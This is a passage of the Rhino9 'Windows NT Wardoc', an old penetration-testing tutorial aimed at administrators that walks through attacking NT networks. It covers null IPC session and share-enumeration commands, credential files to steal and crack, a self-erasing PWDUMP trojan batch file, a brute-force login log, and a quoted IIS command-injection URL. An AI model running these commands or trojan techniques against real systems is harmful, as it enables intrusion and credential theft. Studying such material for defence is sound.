===================================================================
THE WINDOWS NT WARDOC: A STUDY IN REMOTE NT PENETRATION
BY NEONSURGE AND THE RHINO9 TEAM
===================================================================
===================================================================
INTRODUCTION:
===================================================================
This document is an attempt by the Rhino9 team to document the methodology and techniques used in an attack on
a NT based network. The intent of this document is to educate administrators and security professionals of both
the mindset of an attacker and a large set of the current NT penetration techniques. This document attempts to
follow in the footsteps of the classic text, "How To Improve The Security Of Your Site by Breaking Into It"
by Dan Farmer and Wietse Venema.
Obviously, this text will not contain all known methods for NT network penetration. We have tried to put together
a text that Administrators can use to learn basic penetration techniques to test the vulnerability of their own
networks. If the concepts and techniques presented in this text are absorbed and understood, an Administrator should
have a strong base knowledge of how penetrations occur and should be able to build upon that knowledge to further
protect their network.
This file is not meant for people that are new to security or NT or networking technologies. The authors assume
that people reading this document have a certain understanding of protocols, server technologies and network architectures.
The authors would like to continue expanding on this document and releasing updated versions of it. We call upon
all those that wish to contribute techniques to send detailed information on your own penetration testing methods.
We would like to release updates to this document to keep it a current and solid resource. Send your techniques
or submissions to: neonsurge@hotmail.com. Valid and useful submissions will be incorporated in to the document
with proper credit given to the author.
===================================================================
USAGE
===================================================================
The text is being written in a procedural manner. We have approached it much like an intruder would actually approach
a network penetration. Most of the techniques discussed in this text are rather easy to accomplish once one understands
how and why something is being done.
The document is divided into 3 sections: NetBIOS, WebServer, and Miscellaneous, each of which explain different
methods of information gathering and penetration techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA NETBIOS
===================================================================
The initial step an intruder would take is to portscan the target machine or network. It's surprising how methodical
an attack can become based on the open ports of a target machine. You should understand that it is the norm for
an NT machine to display different open ports than a Unix machine. Intruders learn to view a portscan and tell
wether it is an NT or Unix machine with fairly accurate results. Obviously there are some exceptions to this, but
generally it can be done. Recently, several tools have been released to fingerprint a machine remotely, but this
functionality has not been made available for NT.
When attacking an NT based network, NetBIOS tends to take the brunt of an attack. For this reason, NetBIOS will
be the first serious topic of discussion in this paper.
Information gathering with NetBIOS can be a fairly easy thing to accomplish, albeit a bit time consuming. NetBIOS
is generally considered a bulky protocol with high overhead and tends to be slow, which is where the consumption
of time comes in.
If the portscan reports that port 139 is open on the target machine, a natural process follows. The first step
is to issue an NBTSTAT command.
The NBTSTAT command can be used to query network machines concerning NetBIOS information. It can also be useful
for purging the NetBIOS cache and preloading the LMHOSTS file. This one command can be extremely useful when performing
security audits. Interpretation the information can reveal more than one might think.
Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
Switches -a Lists the remote computer's name table given its host name.
-A Lists the remote computer's name table given its IP address.
-c Lists the remote name cache including the IP addresses.
-n Lists local NetBIOS names.
-r Lists names resolved by broadcast and via WINS.
-R Purges and reloads the remote cache name table.
-S Lists sessions table with the destination IP addresses.
-s Lists sessions table conversions.
The column headings generated by NBTSTAT have the following meanings:
Input
Number of bytes received.
Output
Number of bytes sent.
In/Out
Whether the connection is from the computer (outbound) or from another system to
the local computer (inbound).
Life
The remaining time that a name table cache entry will "live" before your computer
purges it.
Local Name
The local NetBIOS name given to the connection.
Remote Host
The name or IP address of the remote host.
Type
A name can have one of two types: unique or group.
The last byte of the 16 character NetBIOS name often means something because
the same name can be present multiple times on the same computer. This shows
the last byte of the name converted into hex.
State
Your NetBIOS connections will be shown in one of the following "states":
State Meaning
Accepting An incoming connection is in process.
Associated The endpoint for a connection has been created and your computer has associated it with an IP address.
Connected This is a good state! It means you're connected to the remote resource.
Connecting Your session is trying to resolve the name-to-IP address mapping of the destination resource.
Disconnected Your computer requested a disconnect, and it is waiting for the remote computer to do so.
Disconnecting Your connection is ending.
Idle The remote computer has been opened in the current session, but is currently not accepting connections.
Inbound An inbound session is trying to connect.
Listening The remote computer is available.
Outbound Your session is creating the TCP connection.
Reconnecting If your connection failed on the first attempt, it will display this state as it tries to reconnect.
Here is a sample NBTSTAT response of an actual machine:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
Using the table below, what can you learn about the machine?
Name Number Type Usage
=========================================================================
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<computername> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services> 1C G Internet Information Server
<IS~Computer_name> 00 U Internet Information Server
<computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a
single name may appear to be registered, but the suffix will be unique, making the entire name unique.
Group (G): A normal group; the single name may exist with many IP addresses.
Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration
is necessary to permit the registration. Maximum number of addresses is 25.
Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.
Domain Name (D): New in NT 4.0.
An intruder could use the table above and the output from an nbtstat against your machines to begin gathering information
about them. With this information an intruder can tell, to an extent, what services are running on the target machine
and sometimes what software packages have been installed. Traditionally, every service or major software package
comes with it's share of vulnerabilities, so this type of information is certainly useful to an intruder.
The next logical step would be to glean possible usernames from the remote machine. A network login consists of
two parts, a username and a password. Once an intruder has what he knows to be a valid list of usernames, he has
half of several valid logins. Now, using the nbtstat command, the intruder can get the login name of anyone logged
on locally at that machine. In the results from the nbtstat command, entries with the <03> identifier are
usernames or computernames. Gleaning usernames can also be accomplished through a null IPC session and the SID
tools (For more information about the SID tools, read appendix B).
The IPC$ (Inter-Process Communication) share is a standard hidden share on an NT machine which is mainly used for
server to server communication. NT machines were designed to connect to each other and obtain different types of
necessary information through this share. As with many design features in any operating system, intruders have
learned to use this feature for their own purposes. By connecting to this share an intruder has, for all technical
purposes, a valid connection to your server. By connecting to this share as null, the intruder has been able to
establish this connection without providing it with credentials.
To connect to the IPC$ share as null, an intruder would issue the following command from a command prompt:
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
If the connection is successful, the intruder could do a number of things other than gleaning a user list, but
lets start with that first. As mentioned earlier, this technique requires a null IPC session and the SID tools.
Written by Evgenii Rudnyi, the SID tools come in two different parts, User2sid and Sid2user. User2sid will take
an account name or group and give you the corresponding SID. Sid2user will take a SID and give you the name of
the corresponding user or group. As a stand alone tool, this process is manual and very time consuming. Userlist.pl
is a perl script written by Mnemonix that will automate this process of SID grinding, which drastically cuts down
on the time it would take an intruder to glean this information.
At this point, the intruder knows what services are running on the remote machine, which major software packages
have been installed (within limits), and has a list of valid usernames and groups for that machine. Although this
may seem like a ton of information for an outsider to have about your network, the null IPC session has opened
other venues for information gathering. The Rhino9 team has been able to retrieve the entire native security policy
for the remote machine. Such things as account lockout, minimum password length, password age cycling, password
uniqueness settings as well as every user, the groups they belong to and the individual domain restrictions for
that user - all through a null IPC session. This information gathering ability will appear in Rhino9's soon to
be released Leviathan tool. Some of the tools available now that can be used to gather more information via the
IPC null session will be discussed below.
With the null IPC session, an intruder could also obtain a list of network shares that may not otherwise be obtainable.
For obvious reasons, an intruder would like to know what network shares you have available on your machines. For
this information gathering, the standard net view command is used, as follows:
c:\>net view \\[ip address of remote machine]
Depending on the security policy of the target machine, this list may or may not be denied. Take the example below
(ip address has been left out for obvious reasons):
C:\>net view \\0.0.0.0
System error 5 has occurred.
Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
As you can see, the list of shares on that server was not available until after the IPC null session had been established.
At this point you may begin to realize just how dangerous this IPC connection can be, but the IPC techniques that
are known to us now are actually very basic. The possibilities that are presented with the IPC share are just beginning
to be explored.
The release of the WindowsNT 4.0 Resource Kit made a new set of tools available to both administrator and intruder
alike. Below is a description of some of the Resource Kit Utilities that the Rhino9 team has used in conjunction
with the IPC$ null session to gather information. When reading these tool descriptions and the information they
provide, keep in mind that the null session that is used does NOT provide the remote network with any real credentials.
UsrStat: This command-line utility displays the username, full name, and last logon date and time for each user
in a given Domain. Below is an actual cut and paste of this tool used through a null IPC session against a remote
network:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:25 1998
Guest - - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never
In order to fully understand what is happening in the capture, lets discuss it. Before the actual attack took place,
a mapping was put into the lmhosts file that reflected the Student4 machine and it's Domain activity status using
the #PRE/#DOM tags (explained in more detail below.). The entry was then preloaded into the NetBIOS cache, and
a null IPC session was established. As you can see, the command is issued against the Domain name. The tool will
then query the Primary Domain Controller for that Domain.
Global: This command-line utility displays the members of global groups on remote servers or domains. As discussed
above, this utility is used in conjunction with an Lmhosts/IPC mapping. Shown below is an actual capture of the
global tool. In the example, the "Domain Users" is a standard, default global group present in a WindowsNT
domain. For this example, we have used the tool to query Domain1 for a listing of all users in the "Domain
Users" group.
C:\>global "Domain Users" domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
Local: The Local tool works just as the Global tool does, except it queries the machine for the members of a local
group instead of a global group. Below is an example of the Local tool querying a server for a list of its Administrators
group.
C:\>local "administrators" domain1
Bob
Domain Admins
Bill
NetDom: NetDom is a tool that will query a server for its role in a domain, as well as querying the machine for
its PDC. The NetDom tool also works with an Lmhosts/IPC mapping. Below is a capture of the tool and its standard
output:
Querying domain information on computer \\SPUPPY ...
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4 ...
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch: NetWatch is a tool that will give the person invoking the tool a list of the shares on a remote machine.
Again, this tool works with an Lmhosts/IPC mapping. The bad thing about this tool is that the Rhino9 team was able
to use the tool to retrieve a list of the hidden shares on the remote machine.
Other known penetration techniques that involve the IPC share include opening the registry of the remote machine,
as well as a remote User Manager for Domains technique. The IPC null connection could allow an intruder to potentially
gain access to your registry. Once the null IPC session has been established, the intruder would launch his local
regedit utility and attempt the Connect Network Registry option. If this is succesful, the intruder would have
read access to certain regsitry keys, and potentially read/write. Regardless, even read access to the registry
is undesirable from a security standpoint.
An intruder could also attempt the IPC User Manager for Domains technique. This technique is relatively unknown
and often times produces no results. We are covering it because it can produce results and it can be an effective
intrusion technique. This technique involves a null IPC session and entries into the LMHOSTS file. The LMHOSTS
file is (normally) a local file kept on windows based machines to map NetBIOS names to IP addresses. Used mostly
in non-WINS environments, or on clients unable to use WINS, the LMHOSTS file can actually be used in many different
ways by an intruder. Different uses for the LMHOSTS file will be discussed later in this text, for now we will
discuss how the LMHOSTS file is used in this technique.
This is an excellent technique to discuss because it shows how one of the previous techniques is used in conjunction
with this one to accomplish a goal. Beginning with a portscan, and assuming that port 139 is open, the attacker
would issue an nbtstat command. The intruder would then glean the NetBIOS name of the remote machine from the nbtstat
results. Lets look at the same sample nbtstat results from above:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
By examining the results of the nbtstat command, we are looking for the <03> identifier. If someone is logged
on locally on the machine, you will see two <03> identifiers. Normally the first <03> listed is the
netbios name of the machine and the second <03> identifier listed is the name of the locally logged on user.
At this point the intruder would put the netbios name and ip address mapping of the machine into his local LMHOSTS
file, ending the entry with the #PRE and #DOM tags. The #PRE tag denotes that the entry should be preloaded into
the netbios cache. The #DOM tag denotes domain activity. At this point the intruder would issue a nbtstat -R command
to preload the entry into his cache. Technically, this preloading would make the entry appear as if it had been
resolved by some previous network function and allow the name to be resolved much quicker.
Next the intruder would establish a null IPC session. Once the null IPC session has been succesfully established,
the intruder would launch his local copy of User Manager for Domains and use the Select Domain function in User
Manager. The Domain of the remote machine will appear (or can manually be typed in) because it has been pre-loaded
into the cache. If the security of the remote machine is lax, User Manager will display a list of all the users
on the remote machine. If this is being done over a slow link (i.e. 28.8 modem) it will normally not work. On faster
network connections however, this tends to produce results.
Now that the intruder has gathered information about your machine, the next step would be to actually attempt a
penetration of that machine. The first penetration technique to be discussed will be the open file share attack.
The intruder would couple the previously discussed net view command with a net use command to accomplish this attack.
Taking the net view from above, lets discuss the attack.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
Once the attacker has a list of the remote shares, he could then attempt to map to a remote share. An example of
the command structure for the attack would be:
c:\>net use x: \\0.0.0.0\inetpub
This attack will only work if the share is unpassworded or shared out to the everyone group (NOTE: The Everyone
group means Everyone. If someone connects as a null user, they are now part of the everyone group.). If those parameters
are in place, the attacker would be able to map a network drive to your machine and begin what could amount to
a severe series of penetration attacks. Keep in mind that the intruder is not limited to mapping drives to the
shares displayed by the net view command. An intruder that knows NT or has done his homework knows that NT has
hidden administrative shares. By default, NT creates the IPC$ share and one hidden share for every drive on the
machine (i.e. a machine that has C, D, and E drives would have corresponding hidden shares of C$, D$, and E$).
There is also a hidden ADMIN$ share that maps directly to the installation path of NT itself (i.e. If you installed
NT on C:\winnt, than ADMIN$ maps to that exact portion of that drive). One thing that the Rhino9 team has noticed
about the majority of the NT security community is that they seem to be oblivious to the concept of penetrating
one internal NT machine from another internal NT machine. The Rhino9 team, during our professional audits, has
accomplished this task many times. Chances are, if the intruder is good and can gain access to one of your machines,
he will worm his way into the rest of your network. For that reason, these share attacks can pose a serious threat.
(As a side note, the Rhino9 team was once contacted to perform a remote penetration audit for one of the largest
ISP's in Florida. We gained access to a share on one of the technician's personal machines, and from there gained
access to the entire network. It can be done.)
At first, someone may not be able to see the dangers of someone having access to your hard drive. Access to the
hard drive opens up new avenues for Information Gathering and Trojan/Virus planting. An attacker would normally
look for something that could possibly contain a password or highly sensitive data that he could use to continue
digging his way into your network. Some of the files that a intruder will look for and use are listed below, each
with a brief description of what it is, and how it would be used.
Eudora.ini: This file is used to store configuration information for eudora e-mail software. An easily obtainable
tool called eudpass.com will extract the individuals username and password information as well as all the information
that the attacker needs to begin eavesdropping on the users mail. At this point, the intruder could configure his
own e-mail software to read the targets mail. Again, some could have a hard time seeing the dangers in this, but
remember that generally, people are creatures of habit. The chances that the user's e-mail password is the same
password they use to log into the network at work are relatively high. Now all the attacker needs to do is keep
snooping around on the users hard drive for a resume or some other work related document to point him in the direction
of the persons place of business, allowing him to launch a somewhat strong initial strike against the network.
Tree.dat: This is the file that is used by the popular software CuteFTP to store the users ftp site/username/password
combinations. Using a program called FireFTP, the attacker can easily crack the tree.dat file. So, as above, the
user could keep gathering information about you and launch an attack against your place of business. Not to mention
that if you have an ftp mapping in your tree.dat that maps directly to your place of business, his attack has now
become much easier.
PWL: PWL's generally reside on Win95 machines. They are used to store operation specific passwords for the Windows95
end user. A tool called glide.exe will crack (with less than desirable efficiency) PWL files. There is also documentation
available on how to manually crack the encryption of these PWL files using a calculator. Continuing the scenario,
the attacker could keep gathering information about the user and formulate an attack.
PWD: PWD files exist on machines running FrontPage or Personal Webserver. These files include the plain text username
and an encrypted password matching the credentials needed to administer the website. The encryption scheme used
for these passwords is the standard DES scheme. Needless to say, many DES cracking utilities are available on the
internet. John the Ripper by Solar Designer very efficiently cracks these passwords.
WS_FTP.ini: This ini file exists on machines using ws_ftp software. Although an automated password extractor for
this file has just recently been introduced into the security community, the encryption mechanism used is not very
strong. The password is converted to hex numbers (2 digits). If a digit is at the N position, then N is added to
the digit. Reverse the process and you have cracked this encryption scheme. (This is also known to sometimes work
for cracking PMail.ini - Pegasus Mail and Prefs.js - Netscape.)
IDC Files: IDC (internet database connecter) files are normally used for back-end connectivity to databases from
a webserver. Becuase this type of connection generally requires authentication, some IDC files contain username/password
combinations, often times in clear text.
waruser.dat: This is one of the config files for WarFTP, the popular Win32 FTP server. This particular dat file
could contain the administrative password for the FTP server itself. From what the authors have been able to find
out, this only occurs in beta versions of WarFTP 1.70.
$winnt$.inf: During an unattended installation of WindowsNT, the setup process requires information files. As residue
of this unattended installation process, a file called $winnt$.inf could exist in the %systemroot%\system32 directory.
This file could contain the username and password combination of the account that was used during the installation.
Because the account used in these types of installations normally require some strong permission sets on the network,
this is not a trivial matter.
Sam._: Although people have known for a long time that the SAM database could present a problem if it fell into
the wrong hands, many people forget about the sam._. Many would-be intruders have asked themselves how they could
copy the SAM database if they could mount a drive across the net. Well, normally this is not possible, because
the NT server you are connected to is running, and while it is running, it locks the SAM. However, if the administrator
has created an emergency repair disk, a copy of the SAM should be located in the %systemroot%\repair\ directory.
This file will be named sam._. This copy, by default is EVERYONE readable. By using a copy of the samdump utility,
you can dump username/password combinations from the copied SAM.
ExchVerify.log: The ExchVerify.log file is created by Cheyenne/Innoculan/ArcServe. Normally created by the installation
of the Cheyenne/Innoculan/ArcServe software, this file resides at the root of the drive where the software installation
took place. This file can contain extremely sensitive information, as shown below:
<EXCH-VERIFY>: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
Needless to say, the file contains information that an intruder could easily use to further compromise the integrity
of your network.
Profile.tfm: Profile.tfm is a file that is created by the POP3 client software AcornMail. At the writing of this
document, AcornMail began getting alot of attention from the internet community. Upon inspection of the software,
we found that it's an efficient POP3 client, but the installation is not NTFS friendly. After the installation
of the software, we began to check into the files that AcornMail created. We found that the Profile.tfm file held
the username/password combination. At first, we decided the software was somewhat ok, because it did indeed store
the password in an encrypted state. We then realized that the permissions on the profile.tfm file were set to Everyone/Full
Control. This causes problems because anyone could obtain a copy of the file and plug this file into their own
AcornMail installation. Then intruder coud log on with the stored information. Below is a capture in Network Monitor
of just that.
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040 37 33 0D 0A 63..
As you can see, the username/password is indeed passed in clear text. This is not a fault of AcornMail, but something
that has been present in the POPvX. This 'data' file swapping/packet sniffing type of technique has been tested
by the Rhino9 team on numerous software titles, so this attack is not limited to AcornMail.
Now that we have discussed the files an intruder may wish to acquire if he gains access to your hard drive, lets
discuss Trojan planting. If there is one thing that can gain an attacker a ton of information, it is trojan planting.
The open file share attack generally makes trojan planting extremely easy to do. One of the easiest and most informative
trojans to use is the PWDUMP utility wrapped in a batch file. If prepared correctly, the batch file will execute
minimized (also named something clever, such as viruscan.cmd), run the PWDUMP utility, delete the PWDUMP utility
after it has run its course, and finally erase itself. This generally leaves little evidence and will create a
nice text file of all of the username/password combinations on that machine.
Rules of the trick: The target must be an NT machine and the end user executing the trojan must be the administrator,
so the attacker drops the batch file into the Administrators start-up folder and waits. The next time the Administrator
logs in to the machine, the batch file executes and dumps the username/password combinations. Then the attacker
connects back into the machine via file sharing and collects the results.
Another solid attack an intruder might try is to place a keylogger batch into the start-up folder. This can usually
be done to any user, not just the administrator. This will glean all keystrokes issued by that user, minus initial
logon credentials (due to the NT architecture, which stops all user mode processes during login). The attacker
then connects back to the target machine at a later time and collects the recorded keystrokes.
One of the deadliest trojan attacks issued is a batch file that runs as Administrator and sets up a scheduled event
using the AT command. Because the AT command can execute as System, it can create copies of the SAM database and
the registry. Imagine the fun an attacker can have with that one.
How does one prevent such attacks? By not sharing items to the everyone group, and by enforcing strong password
schemes in your environment. If an intruder comes across a server that prompts him for credentials at every turn,
chances are the intruder will become frustrated and leave. Other, more persistant intruders, will continue on with
a Brute Force Attack.
Undoubtedly the most common tool for Brute Force NetBIOS attacks is NAT. The NAT (NetBIOS Auditing Tool) tool will
allow a user to automate network connection commands using a list of possible usernames and passwords. NAT will
attempt to connect to the remote machine using every username and every password in the lists provided. This can
be a lengthy process, but often times an attacker will use a shortened list of common passwords and call it quits.
An accomplished intruder will construct his list of usernames by using the information gathering techniques discussed
above. The password list the intruder will use will also be constructed from gleaned information. Starting with
a bare bones list of passwords, and creating the rest based on the usernames. It comes as no surprise to security
professionals to find passwords set to the username.
An attacker can specify an IP addresses to attack or he can specify an entire range of IP addresses. NAT will diligently
work to accomplish the task, all the while generating a formatted report.
Below is an actual results file of a real NAT attack across the internet. Although permission was given for the
Rhino9 team to perform this attack, the IP address has been changed to protect the test target.
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINISTRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
[*]--- This machine has a browse list:
Server Comment
--------- -------
AENEMA
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
If you look closely at the results, you can clearly see the CONNECTED message which informs the attacker that the
tool found a valid Username/Password combination. At this point, the intruder would just manually re-connect to
that machine using the newly found username/password combination and launch his attack.
This is the end of the remote penetration via NetBIOS section. Keep in mind that the techniques discussed above
are neither static nor stand-alone. An intruder who has spent time learning how to penetrate NT based networks
will become extremely creative and use not only the techniques above, but personal variations of those techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA WEBSERVER
===================================================================
Information gathering and remote penetration via a webserver is well known today due to the population explosion
on the internet and the resulting dissemenation of information. When discussing remote penetration and information
gathering on NT Webservers, we will focus on Internet Information Server, the webserver that comes bundled with
NT4.
Some of the information to be discussed will be somewhat outdated. We have included it due to the fact that during
professional audits, the Rhino9 Team has come across companies that are still running older versions of software
titles in their production environments.
Lets begin by discussing information gathering techniques. We will discuss ways of getting information about the
webserver under attack, as well as using the webserver to get information that could be used in other types of
attacks.
First we will discuss how one would retrieve the webserver software package and version on the target machine.
Someone that is new to the security community might wonder why one would want the webserver version of the target
machine. Every different version and distribution of software has different vulnerabilities attached to them. For
this reason, an intruder would want to know the webserver software and version in question.
The oldest technique used to acquire webserver software and version is to telnet to the target machine on the HTTP
port. Once a telnet connection has been established, issuing a simple GET command would allow one to view the HTTP
header information, which would include the webserver software and version being used.
One who is not prone to using telnet, or does not wish to parse through the header information can use a couple
of available tools. The first, and probably most popular tool amongst non-accomplished intruders is Netcraft. An
intruder can visit www.netcraft.com and use their query engine to retrieve the webserver information from the remote
target. Netcraft can also be used retrieve all known webserver hostnames. For example, if we wanted to find all
of the webservers that belong to the someserver.com domain, we could use Netcraft's engine to query *.someserver.com,
and it would return a listing of all of the webserver hosts in that domain. Other tools that can be used to retrieve
webserver version include 1nf0ze by su1d and Grinder by horizon of Rhino9 (URLs to all tools discussed in this
text can be found at the end of this document).
Once the intruder has determined what webserver package he is up against, he can begin to formulate an attack plan.
By using the techniques discussed below, the intruder could gain access to the server or gain information from
the server to use in other attacks. Understand that this section is in no way a complete representation of all
attacks, just the more common and well known ones.
The first attack to be covered is the .bat/.cmd flaw. As this flaw was well documented with its public posting,
it will be quoted below (author unknown, if the author is reading this, let me know so that proper credit can be
given):
<Quote>
The .bat and .cmd BUG is a well-known bug in Netscape server and described in the WWW security FAQ Q59. The implementation
of this bug in Internet Information Server beats all scores.
Let's consider fresh IIS Web server installation where all settings are default:
1) CGI directory is /scripts
2) There are no files abracadabra.bat or abracadabra.cmd in
the /scripts directory.
3) IIS Web server maps .bat and .cmd extensions to cmd.exe.
Therefore registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap
has the following string:
.bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s
In this case a hacker with a malicious intent can send either one of the two command lines to the server:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
and the following happens:
1) Browser asks how you want to save a document. Notepad.exe
or any other viewer would do for this "type" of
application.
2) Browser starts the download session. The download window
appears on the screen.
3) The hacker clicks the "cancel" button on the download
window, because the "time" command on the server never
terminates.
4) Nothing is logged on the server side by the IIS Web
server, because the execution process was not successfully
terminated!!! (Thanks to the "time" command.) The only
way to see that something happened is to review all your
NT security logs. But they do not contain information
